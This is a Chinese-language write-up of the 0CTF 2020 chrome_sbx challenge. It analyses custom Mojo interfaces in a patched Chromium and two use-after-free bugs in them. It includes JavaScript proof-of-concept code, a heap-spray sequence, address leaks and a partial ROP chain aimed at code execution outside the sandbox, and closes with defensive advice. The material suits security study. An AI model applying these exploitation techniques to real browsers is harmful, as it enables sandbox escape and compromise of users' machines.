沙箱逃逸之0ctf 2020 chrome_sbx writeup
字数 1677 2025-08-06 18:08:11
Chrome沙箱逃逸漏洞分析与利用:0CTF 2020 chrome_sbx题解
1. 题目概述
这道题目是0CTF 2020中的一道Chrome沙箱逃逸题目,主要考察通过Mojo接口实现沙箱逃逸的能力。题目提供了以下关键文件:
chromium_sbx.diff: Chromium的补丁文件,包含自定义的Mojo接口实现chrome.zip: 修改后的Chrome浏览器visit.sh: 启动脚本,启用了MojoJS功能(--enable-blink-features=MojoJS)
2. Mojo接口分析
补丁文件中定义了两个Mojo接口:
2.1 TStorage接口
interface TStorage {
Init() => ();
CreateInstance() => (pending_remote<TInstance> instance);
GetLibcAddress() => (uint64 addr);
GetTextAddress() => (uint64 addr);
};
2.2 TInstance接口
interface TInstance {
Push(uint64 value) => ();
Pop() => (uint64 value);
Set(uint64 index, uint64 value) => ();
Get(uint64 index) => (uint64 value);
SetInt(int64 value) => ();
GetInt() => (int64 value);
SetDouble(double value) => ();
GetDouble() => (double value);
GetTotalSize() => (int64 size);
};
3. 关键类实现
3.1 InnerDbImpl类
这是两个接口实现的基础类,包含以下成员变量和方法:
成员变量:
std::array<uint64_t, 200> array_: 大小为200的int64_t数组base::queue<uint64_t> queue_: 存储int64_t的队列int64_t int_value_: 存储int64_t的整数值double double_value_: 存储浮点数值
关键方法:
Push/Pop: 操作队列Get/Set: 操作数组SetInt/GetInt: 操作int_value_SetDouble/GetDouble: 操作double_value_GetTotalSize: 返回数组和队列大小的总和
3.2 TStorageImpl类
关键方法:
Init: 初始化inner_db_成员CreateInstance: 创建TInstance实例,参数为inner_db_.get()GetLibcAddress: 返回atoi函数地址GetTextAddress: 返回TStorageImpl::Create函数地址
3.3 TInstanceImpl类
主要功能是调用InnerDbImpl类中的对应方法。
4. 漏洞分析
4.1 漏洞一(非预期)
在TStorageImpl::CreateInstance中:
void TStorageImpl::CreateInstance(CreateInstanceCallback callback) {
mojo::PendingRemote<TInstance> instance;
mojo::MakeSelfOwnedReceiver(std::make_unique<TInstanceImpl>(inner_db_.get()),
instance.InitWithNewPipeAndPassReceiver());
std::move(callback).Run(std::move(instance));
}
问题在于:
- 使用
inner_db_.get()获取原始指针 - 当TStorageImpl对象被释放时,
inner_db_会被释放 - 但TInstance仍然有效,可以操作已释放的内存
PoC:
async function poc() {
let tStoragePtr = new blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tStoragePtr).handle);
// malloc innerdb
tStoragePtr.init();
// get TInstance ptr
let tInstancePtr = (await tStoragePtr.createInstance()).instance;
// free the innerdb ptr by free tStoragePtr
tStoragePtr.ptr.reset();
// still call freed innerdb by tInstangcePTr.
await tInstancePtr.getTotalSize();
}
4.2 漏洞二(预期)
通过两次调用Init函数形成UAF:
- 第一次调用Init初始化
inner_db_ - 调用CreateInstance创建TInstance
- 再次调用Init释放之前的
inner_db_ - TInstance仍然持有已释放的指针
PoC:
async function poc() {
let tStoragePtr = new blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tStoragePtr).handle);
// malloc innerdb
tStoragePtr.init();
// get TInstance ptr
let tInstancePtr = (await tStoragePtr.createInstance()).instance;
// free the innerdb ptr by free malloc innerdb again
tStoragePtr.init();
// still call freed innerdb by tInstangcePTr.
await tInstancePtr.getTotalSize();
}
5. 漏洞利用
5.1 内存布局
InnerDbImpl对象大小为0x678字节。我们需要通过控制queue_的内存分配来占用这个空间。
5.2 内存分配策略
queue_的内存分配行为:
- 扩展:
std::max(min_new_capacity, capacity() + capacity() / 4) - 收缩:当空余内存大于一半时,缩小到
sz + sz / 4
通过特定的push/pop序列可以达到分配0x678字节的目的:
1215182227334151637848607593577188556885106132165206
5.3 利用步骤
- 获取基址:
let atoiAddr = (await tStoragePtr.getLibcAddress()).addr;
let textAddr = (await tStoragePtr.getTextAddress()).addr;
let libcBaseAddr = BigInt(atoiAddr) - 0x47730n;
let textBaseAddr = BigInt(textAddr) - 0x39b5e60n;
- 触发漏洞并占用内存:
// free the innerdb ptr
tStoragePtr.ptr.reset();
// 通过特定push/pop序列占用内存
for(let i=0; i<0x5; i++) {
// 具体push/pop操作...
await sprayTIPtrArr[i].push(BigInt(i));
}
- 泄露堆地址:
// 重新分配内存并泄露地址
for(let i=0; i<0x80/8; i++) {
await tInstancePtr.push(0x41414141n + BigInt(i));
}
let leakHeapAddr = -1n;
for(let i=0; i<207; i++) {
let tmp = (await evilTIPtr.pop()).value;
if(leakHeapAddr == -1 && tmp != 0) {
leakHeapAddr = BigInt(tmp);
}
}
- 构造ROP链:
let execvp = textBaseAddr + 0x0000000a1b88d0n;
let xchgRaxRsp = textBaseAddr + 0x0000000007fde8e4n;
let popRdi = textBaseAddr + 0x0000000002e9ee1dn;
// ...其他ROP gadget
let ropBuffer = new ArrayBuffer(0x80);
let ropData64 = new BigUint64Array(ropBuffer);
ropDataView.setBigInt64(0x10, xchgRaxRsp, true);
ropDataView.setBigInt64(0x0, popRdiRsi, true);
// ...设置完整的ROP链
- 触发ROP:
await tInstancePtr.getTotalSize();
6. 关键知识点
- Mojo接口安全:Mojo接口实现需要注意智能指针的生命周期管理
- UAF利用:通过控制队列的内存分配行为来精确控制堆布局
- ROP构造:利用泄露的地址构造ROP链实现代码执行
- 内存分配策略:理解
queue_的内存扩展和收缩机制对利用至关重要
7. 防御建议
- 避免在Mojo接口中使用
get()获取原始指针 - 确保智能指针的生命周期管理正确
- 对Mojo接口进行严格的输入验证
- 考虑使用更安全的智能指针包装器